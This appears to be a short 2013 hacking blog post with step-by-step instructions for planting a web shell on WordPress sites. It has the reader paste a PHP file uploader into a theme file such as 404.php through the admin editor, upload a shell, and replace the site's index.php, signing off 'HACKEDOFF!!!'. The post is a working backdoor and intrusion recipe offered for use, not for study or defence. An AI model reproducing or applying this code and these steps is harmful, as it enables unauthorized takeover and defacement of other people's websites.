Thursday, August 15, 2013

How to Upload your shell on wordpress websites!!

How to Upload your shell on wordpress websites
 
Just follow the Steps given below:
 
 

1- Login to wordpress. 
Goto site.com http://www.site.com/wp-admin/




2- see "editor" option in "apprearance" and click on editor

3-Now see Right slider bar and click on any option like 404.php or comments.php

4- Edit that code and paste this code there

<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) {  if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>credits : www.devilscafe.in</b><br><br>'; }  else { echo '<b>Upload Sucess !!!</b><br><br>'; } } ?>

You can paste your shell code too..

5-Now click on update file, and see theme name.
Now Goto http://www.site.com/wp-content/themes/themename/yourshellfile.php 

You will get nw a upload option there, select your shell and upload it and
to vew it goto same directory ..

example: http://www.site.com/wp-content/themes/themename/yourshell.php

Now change index.php in public_html for using shell :D
:D



HACKEDOFF!!!

No comments:

Post a Comment